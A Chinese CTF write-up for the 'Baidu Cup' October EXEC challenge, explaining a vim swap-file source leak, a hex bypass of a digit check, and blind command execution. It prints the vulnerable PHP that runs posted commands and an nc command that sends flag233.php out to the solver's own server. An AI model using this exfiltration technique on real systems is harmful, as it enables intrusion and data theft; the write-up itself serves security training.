"百度杯"CTF比赛 十月场——EXEC

进入网站页面

查看源码

发现了vim,可能是vim泄露,于是在url地址输入了http://21b854b211034489a4ee1cb0d37b0212560fbf24f2e6468d.changame.ichunqiu.com/.index.php.swp

或者通过dirsearch工具扫描网站目录也可以发现 /.index.php.swp,也可以想到vim泄露

下载文件

下一步就是通过 vim -r index.php.swp恢复index.php,然后打开

<html>
<head>
<title>blind cmd exec</title>
<meta language='utf-8' editor='vim'>
</head>
</body>
<img src=pic.gif>
<?php
/*
flag in flag233.php
*/
function check($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '11259375';
}
if(isset($_GET[sign])&& check($_GET[sign])){
setcookie('auth','tcp tunnel is forbidden!');
if(isset($_POST['cmd'])){
$command=$_POST[cmd];
$result=exec($command);
//echo $result;
}
}else{
die('no sign');
}
?>
</body>
</html>

这里有一个check函数需要绕过,很明显check函数就是把选手输入的数字一个一个的判断,查看这些数字的ASCII码是否在1-9的ASCII码之间,如果符合则验证失败。如果check函数想最后返回返回true,则$number需要等于'11259375',这里可以使用十六进制来绕过即可。

代码里面的 setcookie('auth','tcp tunnel is forbidden!');告诉我们TCP被禁止不能用curl,而且cmd命令执行之后也没有回显,但是前面的注释告诉了我们flag文件,我们可以直接用nc命令把flag文件下过来,我们需要一台有公网ip的服务器。

在服务器上运行

nc -lup 39999

然后再题目那里用post方法 cmd=nc -u 你的ip地址 39999 < flag233.php

注:这里我踩了个小坑,cmd=nc我输入成了 cmd = nc,等于号两边不能有空格。

flag便传到了服务器上

"百度杯"CTF比赛 十月场——EXEC的更多相关文章

  1. i春秋——“百度杯”CTF比赛 十月场——EXEC(命令执行、带外通道传输数据)

    查看源码得知由vim编写,所以查找备份以及交换文件 找到 /.index.php.swp ,下载后用vim -r恢复该文件即可得到源码 1 <html> 2 <head> 3 ...

  2. “百度杯”CTF比赛 十月场EXEC

    前面比较常规吧看源代码-看到vim 然后就是 .index.php.swp 然后就是 这个文件的恢复,用linux下vim -r index.php.swp  就可以看到不是乱码的文件了 然后就是审核 ...

  3. [i春秋]“百度杯”CTF比赛 十月场-Hash

    前言 涉及知识点:反序列化.代码执行.命令执行 题目来自:i春秋 hash  如果i春秋题目有问题可以登录榆林学院信息安全协会CTF平台使用 或者利用本文章提供的源码自主复现 [i春秋]"百 ...

  4. [原题复现]百度杯CTF比赛 十月场 WEB EXEC(PHP弱类型)

    简介  原题复现:  考察知识点:PHP弱类型.  线上平台:https://www.ichunqiu.com/battalion(i春秋 CTF平台) 过程 看源码发现这个 vim泄露  下方都试了 ...

  5. “百度杯”CTF比赛 十月场_GetFlag(验证码爆破+注入+绝对路径文件下载)

    题目在i春秋ctf大本营 页面给出了验证码经过md5加密后前6位的值,依照之前做题的套路,首先肯定是要爆破出验证码,这里直接给我写的爆破代码 #coding:utf-8 import hashlib ...

  6. “百度杯”CTF比赛 十月场_Login

    题目在i春秋ctf大本营 打开页面是两个登录框,首先判断是不是注入 尝试了各种语句后,发现登录界面似乎并不存在注入 查看网页源代码,给出了一个账号 用帐密登陆后,跳转到到member.php网页,网页 ...

  7. i春秋-“百度杯”CTF比赛 十月场-Login

    源码发下提示 尝试登陆 得到个什么鬼, 但是相应包里发现个可疑的东西   //  CTF中的0 和1 这些一般都有套路的 然后在请求头里 改为 1 ##代码审计来了..   分析了半天 后来看了别人的 ...

  8. “百度杯”CTF比赛 十月场 Hash 复现

    进入题后老套路得到两个关键: 1.$hash=md5($sign.$key);the length of $sign is 8 2.key=123&hash=f9109d5f83921a551 ...

  9. i春秋 百度杯”CTF比赛 十月场 login

    出现敏感的信息,然后进行登录 登录成功发现奇怪的show 然后把show放到发包里面试一下 出现了源码,审计代码开始 出flag的条件要user 等于春秋 然后进行login来源于反序列化后的logi ...

随机推荐

  1. 暑假自学java第十一天

    1,使用java.util.Arrays类处理数组 (1 ) public static void sort(数值类型 [ ] a):对指定的数值型数组按数字升序进行排序.在数组排序中设计一个简单的冒 ...

  2. Redis:Redis的安装

    Redis优势 性能极高             – Redis能读的速度是110000次/s,写的速度是81000次/s . 丰富的数据类型  – Redis支持二进制案例的 Strings, Li ...

  3. Flyway:Spring Boot中使用Flyway来管理数据库版本

    Flyway简介 Flyway是一个简单开源数据库版本控制器(约定大于配置),主要提供migrate.clean.info.validate.baseline.repair等命令.它支持SQL(PL/ ...

  4. 滑动窗口通用解leetcode字符串匹配问题

    滑动窗口,这玩意解决一些字符串匹配的题目是真的挺好用的,虽然本质还是双指针. 思路: 1.维护一个窗口,不断的向右边移动 2.满足要求后,移动左边,当不满足时,跳出. 3.重复1,2.得出答案. 下面 ...

  5. Pytest学习笔记11-重复执行用例插件pytest-repeat

    前言 我们在平时做测试的时候,经常会遇到一些偶现的bug,通常我们会多次执行来复现此类bug,那么在自动化测试的时候,如何多次运行某个或某些用例呢,我们可以使用pytest-repeat这个插件来帮助 ...

  6. Thymeleaf模板引擎语法

    th:text    用于显示值 th:object      接收后台传来的对象 th:action      提交表单 th:value       绑定值 th:field         绑定 ...

  7. 动态路由协议、RIP

    动态路由协议.RIP      一.动态路由协议        1)动态路由协议概述        2)度量值        3)收敛        4)静态路由与动态路由的比较        5)动 ...

  8. C语言:整数保存 原码 反码 补码

    #include <stdio.h> /* 本题结果为:-4 short类型占据2字节 ;赋值后实际占据了3个字节,所以有溢出警告提示,结果只保留0xfffc 保存二进制:1111 111 ...

  9. File类与常用IO流第七章——Properties集合

    Properties概述 java.util.Properties extends Hashtable<k,v> implements Map<k,v> Properties类 ...

  10. 图像处理算法的仿真平台之VGA时序

    一  概述 图像处理算法一般是用matla或OpenCV实现的,若是用FPGA实现,设计思路差别极大.matlab和opencv的优势:这些工具的优势在于可以方便地载入图像文件,或输出数据到图像文件, ...